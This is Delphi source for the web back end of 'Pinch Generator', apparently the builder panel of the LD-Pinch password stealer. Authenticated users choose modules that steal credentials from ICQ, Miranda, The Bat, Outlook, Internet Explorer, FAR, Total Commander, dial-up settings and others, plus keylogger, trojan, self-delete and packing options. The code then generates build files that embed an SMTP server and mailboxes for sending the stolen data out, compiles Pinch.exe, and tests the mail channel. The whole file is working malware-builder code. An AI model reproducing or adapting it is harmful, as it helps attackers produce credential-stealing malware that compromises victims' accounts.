unit Work;

{$WARN SYMBOL_PLATFORM OFF}

interface
uses
  Windows, Classes, SysUtils, IniFiles, HTTP, xNet, WinSock, MadZip, MadCrypt, ShellAPI, CryptoAPI;

procedure DoWork;

implementation
var
  FUserList: TStringList;
  TotalCompiledModules: Integer = 0;

function xGetTimeStamp: Int64;
var
  ft: FILETIME;
  st: SYSTEMTIME;
begin
  Windows.GetLocalTime(st);             // gets current local time
  SystemTimeToFileTime(st, ft);         // converts to file time format
  Result := Int64(ft.dwLowDateTime + Int64(ft.dwHighDateTime) shl 32);
end;

function xTimeToStr(Time: Int64): String;
  function Padd(const S: String): String;
  begin
    Result := S;
    while Length(Result) < 2 do
      Result := '0' + Result;
  end;
var
  low, high: Cardinal;
  ft: FILETIME;
  st: SYSTEMTIME;
  buf: array[0..15] of Char;
  recv_bytes: Integer;
begin
  low := Time and $FFFFFFFF;
  high := (Time shr 32);

  ft.dwLowDateTime := low;
  ft.dwHighDateTime := high;

  FileTimeToSystemTime(ft, st);

  recv_bytes := GetDateFormat(LOCALE_USER_DEFAULT, 0, @st, PChar('MM/dd/yy'), @buf, SizeOf(buf)-1);
  Result := Copy(buf, 0, recv_bytes);

  recv_bytes := GetTimeFormat(LOCALE_USER_DEFAULT, TIME_FORCE24HOURFORMAT,
    @st, PChar('HH:mm:ss'), @buf, SizeOf(buf)-1);
  Result := Result + '  ' + Copy(buf, 0, recv_bytes) + '.' + Padd(IntToStr(st.wMilliseconds div 10));
end;


function CreateSelector(const default, username, selector_name: String): String;
var
  Inifile: TIniFile;
  values: TStringList;
  i: Integer;
begin
  Inifile := TIniFile.Create('..\pinch\' + username + '.ini');
  values := TStringList.Create;
  Inifile.ReadSectionValues(selector_name, values);
  if values.Count = 0 then begin
    Inifile.WriteString(selector_name, '0', default);
    values.Add(default);
  end;
  Result := '';
  for i := 0 to values.Count - 1 do
    Result := Result + '<option value="' + values.Strings[i] + '">' + values.Strings[i] + #13#10;
  values.Free;
  Inifile.Free;
end;

function CreateEdit(const default, username, edit_name: String): String;
var
  Inifile: TIniFile;
begin
  Inifile := TIniFile.Create('..\pinch\' + username + '.ini');
  Result := Inifile.ReadString(edit_name, 'data', default);
  Inifile.Free;
end;

procedure UpdateSelector(const value, username, selector_name: String);
var
  Inifile: TIniFile;
  values: TStringList;
  i: Integer;
begin
  if value = '' then Exit;
  Inifile := TIniFile.Create('..\pinch\' + username + '.ini');
  values := TStringList.Create;
  Inifile.ReadSectionValues(selector_name, values);
  values.Insert(0, value);
  for i := 1 to values.Count - 1 do
    if values.Strings[i] = value then begin
      values.Delete(i);
      Break;
    end;
  Inifile.EraseSection(selector_name);
  for i := 0 to values.Count - 1 do
    Inifile.WriteString(selector_name, IntToStr(i), values.Strings[i]);
  Inifile.Free;
end;

procedure UpdateEdit(const value, username, edit_name: String);
var
  Inifile: TIniFile;
begin
  if value = '' then Exit;
  Inifile := TIniFile.Create('..\pinch\' + username + '.ini');
  Inifile.WriteString(edit_name, 'data', value);
  Inifile.Free;
end;

function GetChecked(default: Boolean; const username, edit_name: String): String;
var
  Inifile: TIniFile;
begin
  Inifile := TIniFile.Create('..\pinch\' + username + '.ini');
  if Inifile.ReadString(edit_name, 'data', IntToStr(Ord(default))) = '1' then
    Result := 'checked'
  else
    Result := '';
  Inifile.Free;
end;

procedure UpdateParams;
  procedure FastUpdate(const Name: String);
  begin
    UpdateEdit(FParams.Values[Name], FParams.Values['user'], Name);
  end;
begin
  FastUpdate('server');
  FastUpdate('from');
  FastUpdate('to');
  FastUpdate('interval');
  FastUpdate('port');
end;

procedure UpdateParams2;
  procedure FastUpdate2(const Name: String);
  begin
    UpdateEdit(IntToStr(Ord(FParams.Values[Name] = 'on')), FParams.Values['user'], Name);
  end;
begin
  FastUpdate2('icq99b');
  FastUpdate2('icq2003');
  FastUpdate2('miranda');
  FastUpdate2('thebat');
  FastUpdate2('outlook');
  FastUpdate2('trillian');
  FastUpdate2('ie');
  FastUpdate2('selfdelete');
  FastUpdate2('far');
  FastUpdate2('commander');
  FastUpdate2('sysinfo');
  FastUpdate2('rq');
  FastUpdate2('ras');
  FastUpdate2('trojan');
  FastUpdate2('pack');
  FastUpdate2('kl');
  FastUpdate2('cs');
end;

procedure DoTest;
var
  P: TSMTPProtocol;
  iip: Integer;
  ip: String;
  procedure Report(const Str: String);
  begin
    LogText('C:\Program Files\Apache Group\Apache\pinch\log.txt', '[' + xTimeToStr(xGetTimeStamp) + '] ' + FParams.Values['user'] + ': testing ' + FParams.Values['to'] + ' (' + FParams.Values['from'] + '), server: ' + FParams.Values['server'] + ' [' + Str + '].');  
  end;
begin
  iip := xResolve(FParams.Values['server']);
  if iip = INADDR_NONE then begin
    Write('<b>Не могу разрезолвить хост.</b>');
    Report('cannot resolve host');
    Exit;
  end;
  ip := WSockAddrToIp(iip);
  P := TSMTPProtocol.Create;
  if P.Connect(ip, StrToInt(FParams.Values['port'])) then begin
    if P.MakeSMTPSession(ip, FParams.Values['from'], FParams.Values['to'], 'Test message from ld-pinch!') then begin
      Report('OK');
      Write('<b>Сообщение отослано успешно.</b>')
    end  else begin
      if P.LastError = ERR_ONCMD_STR then begin
        Report('Err: ' + P.LastErrorStr);
        Write('<b>Сообщение не может быть доставлено: ' + P.LastErrorStr + '.</b>')
      end else begin
        Report('Error');
        Write('<b>Сообщение не может быть доставлено.</b>');
      end;
    end;
    P.Disconnect;
  end else begin
    Report('Err: cannot connect');
    Writeln('<b>Невозможно подключиться к SMTP серверу.</b>');
  end;
  P.Free;
end;

function ReturnCompilerStrings: String;
  procedure AddString(const Value: String);
  begin
    Result := Result + ' /DMOD_' + Value;
    Inc(TotalCompiledModules);
  end;

  function IsChecked(const Name: String): Boolean;
  begin
    Result := FParams.Values[Name] = 'on';
  end;
begin
  TotalCompiledModules := 0;
  Result := '';
  if IsChecked('icq99b') then AddString('ICQ99B');
  if IsChecked('icq2003') then AddString('ICQ2003');
  if IsChecked('miranda') then AddString('MIRANDA');
  if IsChecked('thebat') then AddString('THEBAT');
  if IsChecked('outlook') then AddString('OUTLOOK');
  if IsChecked('ie') then AddString('IE');
  if IsChecked('sysinfo') then AddString('SYSINFO');
  if IsChecked('trillian') then AddString('TRILLIAN');
  if IsChecked('far') then AddString('FAR');
  if IsChecked('commander') then AddString('WTC');
  if IsChecked('ras') then AddString('RAS');
  if IsChecked('trojan') then AddString('TROJ');
  if IsChecked('rq') then AddString('RQ');
  if IsChecked('cs') then AddString('CS');  
  
  if IsChecked('kl') then begin
    if IsChecked('trojan') and IsChecked('selfdelete') then
      AddString('SELFDELETE');
    AddString('KL');
  end else begin
    if IsChecked('selfdelete') then AddString('SELFDELETE');
  end;
end;

procedure ExecuteBatch;
var
  ProcInfo: PShellExecuteInfo;
  buf: array[0..MAX_PATH+1] of Byte;
  buf2: PChar;
begin
  New(ProcInfo);
  ZeroMemory(ProcInfo,  SizeOf(ProcInfo^));
  with ProcInfo^ do begin
    GetFullPathName('C:\Program Files\Borland\Delphi6\Projects\Pinch\Pinch\Pinch', MAX_PATH, @buf, buf2);
    ProcInfo^.lpDirectory := @buf;
    Wnd := FStdout;
    cbSize := SizeOf(ProcInfo^);
    lpFile := PChar('build.bat');
    lpVerb := 'open';
    nShow := SW_HIDE;
    fMask := SEE_MASK_DOENVSUBST or SEE_MASK_NOCLOSEPROCESS;
  end;
  try
    Win32check(ShellExecuteEx(ProcInfo));
    while (WaitForSingleObject(ProcInfo.hProcess, 100) = WAIT_TIMEOUT) do begin
    end;
  finally
    if ProcInfo.hProcess <> 0 then
      CloseHandle(ProcInfo.hProcess);
    Dispose(ProcInfo);
  end;
end;

function HandleIcon: String;
var
  OutPath: PChar;
  hFile: THandle;
begin
  Result := '';
  OutPath := StrAlloc(MAX_PATH);
  FillChar(OutPath[1], MAX_PATH, 0);
  if Length(FParams.Values['micon']) > 0 then begin
    GetTempFileName('C:\Program Files\Apache Group\Apache\pinch', 'ico-', 0, OutPath);

    hFile := CreateFile(OutPath, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
    if hFile = INVALID_HANDLE_VALUE then begin
      Write('<b>Could not create icon file.</b>');
      StrDispose(OutPath);
      Exit;
    end;

    if not SafeWrite(hFile, @FParams.Values['micon'][1], Length(FParams.Values['micon'])) then begin
      CloseHandle(hFile);
      Write('Could not write icon data to a file.');
      StrDispose(OutPath);
      Exit;
    end;

    CloseHandle(hFile);

    Result := OutPath;
  end;
  StrDispose(OutPath);
end;

procedure DoCompile(const IconPath: String);
var
  iip: Integer;
  ip: String;

  S: String;
  hFile: THandle;
  F: File;
  size: DWord;

  P: String;
  O: String;
  i: Integer;
begin
  iip := xResolve(FParams.Values['server']);
  if iip = INADDR_NONE then begin
    Write('<b>Не могу разрезолвить хост.</b>');
    Exit;
  end;
  ip := WSockAddrToIp(iip);

  P := Compress(FParams.Values['from'] + '3');
  Encrypt(P, '12' + FParams.Values['to']);
  O := '        szMailTest      db      "';
  for i := 1 to 4 do
    O := O + IntToHex(Ord(P[i]), 2);
  O := O + '",13,10';

  S :=  'rem Auto-generated file, can be deleted...' + #13#10#13#10;

  if IconPath <> '' then
    S := S +
         #13#10'rem Compile resources'#13#10 +
         '..\Compiler\brcc32.exe -32 -fo"C:\Program Files\Borland\Delphi6\Projects\Pinch\Pinch\Pinch\rsrc.res" "C:\Program Files\Borland\Delphi6\Projects\Pinch\Pinch\Pinch\rsrc.rc"'#13#10 +
         '..\Compiler\cvtres.exe /nologo /machine:ix86 "C:\Program Files\Borland\Delphi6\Projects\Pinch\Pinch\Pinch\rsrc.res"'#13#10#13#10;

  S := S +
        '..\Compiler\ml' + ReturnCompilerStrings + ' /c /coff /Cp Pinch.asm' + #13#10;

  if IconPath <> '' then
    S := S + '..\Compiler\link /RELEASE /SUBSYSTEM:WINDOWS /LIBPATH:..\Lib /OUT:"C:\Program Files\Apache Group\Apache\htdocs\pinch\Pinch.exe" Pinch.obj rsrc.obj'
  else
    S := S + '..\Compiler\link /RELEASE /SUBSYSTEM:WINDOWS /LIBPATH:..\Lib /OUT:"C:\Program Files\Apache Group\Apache\htdocs\pinch\Pinch.exe" Pinch.obj';

  S := S + #13#10#13#10 +
        'if exist Pinch.obj del Pinch.obj'#13#10 +
        'if exist rsrc.res del rsrc.res'#13#10 +
        'if exist rsrc.obj del rsrc.obj'#13#10;

  if FParams.Values['pack'] = 'on' then
    S := S + #13#10'rem Compression enabled...'#13#10 + '..\Packer\fsg.exe C:\Program Files\Apache Group\Apache\htdocs\pinch\Pinch.exe'#13#10;

  hFile := CreateFile('C:\Program Files\Borland\Delphi6\Projects\Pinch\Pinch\Pinch\build.bat', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
  if hFile = INVALID_HANDLE_VALUE then begin
    Write('<b>Could not create build.bat file.</b>');
    Exit;
  end;

  if not SafeWrite(hFile, @S[1], Length(S)) then begin
    CloseHandle(hFile);
    Write('Could not write data to build.bat file.');
    Exit;
  end;

  CloseHandle(hFile);

  // RSRC.RC

  S :=  '// Auto-generated file, can be deleted...'#13#10#13#10 + 
        '500 ICON MOVEABLE PURE LOADONCALL DISCARDABLE "' + IconPath + '"'#13#10;

  hFile := CreateFile('C:\Program Files\Borland\Delphi6\Projects\Pinch\Pinch\Pinch\rsrc.rc', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
  if hFile = INVALID_HANDLE_VALUE then begin
    Write('<b>Could not create rsrc.rc file.</b>');
    Exit;
  end;

  if not SafeWrite(hFile, @S[1], Length(S)) then begin
    CloseHandle(hFile);
    Write('Could not write data to rsrc.rc file.');
    Exit;
  end;

  CloseHandle(hFile);

  // Options.inc

  S := '        ; Auto-generated file, can be deleted...' + #13#10 + #13#10 +
       '        MailInterval    equ ' + IntToStr(StrToInt(FParams.Values['interval']) * 1000) + #13#10 +
       '        MailPortNumber  equ ' + FParams.Values['port'] + #13#10#13#10 +
       '        .data'#13#10#13#10 +
       '        szMailFrom      db      "MAIL FROM: ' + FParams.Values['from'] + '",13,10,0'#13#10 +
       O + #13#10 +
       '        szMailRecepient db      "RCPT TO: ' + FParams.Values['to'] + '",13,10,0'#13#10 +
       '        szMailHost      equ     0' + IntToHex(inet_addr(PChar(ip)), 8) + 'h'#13#10;

  hFile := CreateFile('C:\Program Files\Borland\Delphi6\Projects\Pinch\Pinch\Pinch\Options.inc', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
  if hFile = INVALID_HANDLE_VALUE then begin
    Write('<b>Could not create Options.inc file.</b>');
    Exit;
  end;

  if not SafeWrite(hFile, @S[1], Length(S)) then begin
    CloseHandle(hFile);
    Write('<b>Could not write data to Optionc.inc file.</b>');
    Exit;
  end;

  CloseHandle(hFile);

  if FileExists('C:\Program Files\Apache Group\Apache\htdocs\pinch\Pinch.exe') and (not DeleteFile('C:\Program Files\Apache Group\Apache\htdocs\pinch\Pinch.exe')) then begin
    Write('<b>Could not build Pinch.exe, file in use.</b>');
    Exit;
  end;

  ExecuteBatch;

  if not FileExists('C:\Program Files\Apache Group\Apache\htdocs\pinch\Pinch.exe') then begin
    Write('<b>Compilation failed :(</b>');
    Exit;
  end else begin
    {$I-}
    AssignFile(F, 'C:\Program Files\Apache Group\Apache\htdocs\pinch\Pinch.exe');
    Reset(F, 1);
    if IOResult <> 0 then
      size := 0
    else
      size := FileSize(F);
    CloseFile(F);
    {$I+}
    Write('Файл создан: <b>' + IntToStr(size) + '</b> байт. Модулей скомпилено: <b>' + IntToStr(TotalCompiledModules) + '</b>.<br>');
    if HashFile(HASH_ADLER32, 'C:\Program Files\Apache Group\Apache\htdocs\pinch\Pinch.exe', O) = HASH_NOERROR then
      Write('Adler32 checksum: <b> ' + O + '</b>.');
    Write('<script>window.open("/pinch/Pinch.exe","","width=400,height=338,")</script>');
    LogText('C:\Program Files\Apache Group\Apache\pinch\log.txt',  '[' + xTimeToStr(xGetTimeStamp) + '] ' + FParams.Values['user'] + ': compiled to ' + FParams.Values['to'] + ' (' + FParams.Values['from'] + '), server: ' + FParams.Values['server'] + ', size ' + IntToStr(size) + '.');
    Exit;
  end;
end;

procedure DoWork;
var
  what: String;

  procedure FastChecked(const Name: String);
  begin
    what := StringReplace(what, '%' + Name, GetChecked(True, FParams.Values['user'], Name));
  end;

var
  FShared: THandle;
  FDoRelease: Boolean;
  IconPath: String;
begin
  { Authenticate }
  if (Length(FParams.Values['user']) = 0) or (Length(FParams.Values['pass']) = 0) or
  (FUserList.Values[FParams.Values['user']] <> FParams.Values['pass']) then begin
    Write(GetStringFromResource('AUTHERROR'));
    Exit;
  end;

  what := FParams.Values['what'];
  if what = '' then what := '1';
  { Show generator options }
  if what = '1' then begin
    Write('<h2>Pinch Generator</h2>');
    what := GetStringFromResource('TABLE');
    what := StringReplace(what, '%user', FParams.Values['user']);
    what := StringReplace(what, '%pass', FParams.Values['pass']);
    what := StringReplace(what, '%port', CreateEdit('25', FParams.Values['user'], 'port'));
    what := StringReplace(what, '%server', CreateEdit('mail.ru', FParams.Values['user'], 'server'));
    what := StringReplace(what, '%from', CreateEdit('coban2k@mail.ru', FParams.Values['user'], 'from'));
    what := StringReplace(what, '%to', CreateEdit('coban2k@mail.ru', FParams.Values['user'], 'to'));
    what := StringReplace(what, '%interval', CreateEdit('60', FParams.Values['user'], 'interval'));

    FastChecked('icq99b');
    FastChecked('icq2003');
    FastChecked('miranda');
    FastChecked('thebat');
    FastChecked('outlook');
    FastChecked('trillian');
    FastChecked('ie');
    FastChecked('selfdelete');
    FastChecked('far');
    FastChecked('commander');
    FastChecked('sysinfo');
    FastChecked('rq');
    FastChecked('ras');
    FastChecked('trojan');
    FastChecked('pack');
    FastChecked('kl');
    FastChecked('cs');    

    Write(what);
  end else if what = '2' then begin
    DoTest;
    Write('<form action=/cgi-bin/Generator.cgi method=post><input type="hidden" name=user value="' + FParams.Values['user'] + '"><input type="hidden" name=pass value="' + FParams.Values['pass'] + '"><input type=hidden name=what value="1">');
    Write('<input type=submit value="Назад"></form>');
    UpdateParams;
  end else if what = '3' then begin
    FShared := OpenMutex(MUTEX_ALL_ACCESS, False, 'MyPinPadMutex');
    FDoRelease := False;
    if FShared = 0 then begin
      if GetLastError = ERROR_FILE_NOT_FOUND then begin
        FShared := CreateMutex(nil, True, 'MyPinPadMutex');
        FDoRelease := FShared <> 0;
      end;
    end else
      WaitForSingleObject(FShared, INFINITE);

    IconPath := HandleIcon;
    DoCompile(IconPath);
    if IconPath <> '' then
      DeleteFile(IconPath);

    {Free mutex}
    if FDoRelease then
      ReleaseMutex(FShared);
    CloseHandle(FShared);

    Sleep(700);
    Write('<form action=/cgi-bin/Generator.cgi method=post><input type="hidden" name=user value="' + FParams.Values['user'] + '"><input type="hidden" name=pass value="' + FParams.Values['pass'] + '"><input type=hidden name=what value="1">');
    Write('<input type=submit value="Назад"></form>');
    UpdateParams;
    UpdateParams2;
  end;
end;

initialization
  if not bGetStdHandle(FStdout, STD_OUTPUT_HANDLE) then Exit;
  if not bGetStdHandle(FStdin, STD_INPUT_HANDLE) then Exit;

  Writeln('Content-Type: text/html'); Writeln;
  Write(GetStringFromResource('HEADERDATA'));

  ReadPostData;
  FUserList := TStringList.Create;
  FUserList.Text := xReadFile('..\pinch\user_list.txt');
  
finalization
  FUserList.Free;
  FreeData;
  
end.
